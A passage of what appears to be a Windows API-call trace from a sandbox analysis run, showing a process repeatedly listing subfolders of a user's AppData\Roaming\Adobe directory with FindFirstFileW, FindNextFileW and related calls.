ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.641] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0197.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0197.641] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.641] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.641] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.642] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0197.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0197.642] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b238 [0197.642] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.642] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.643] FindClose (in: hFindFile=0x139b238 | out: hFindFile=0x139b238) returned 1 [0197.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0197.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0197.643] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.643] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.643] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0197.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0197.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0197.644] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.644] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.644] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0197.644] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0197.645] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.645] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0197.645] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0197.645] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.645] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0197.646] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0197.646] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 0 [0197.646] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0197.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0197.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0197.646] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.647] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.647] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.647] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0197.647] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.647] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.648] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.648] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0197.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0197.648] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.648] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.649] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0197.649] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0197.649] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0197.649] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.649] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.650] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0197.650] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.650] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0197.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.663] GetFullPathNameW (in: 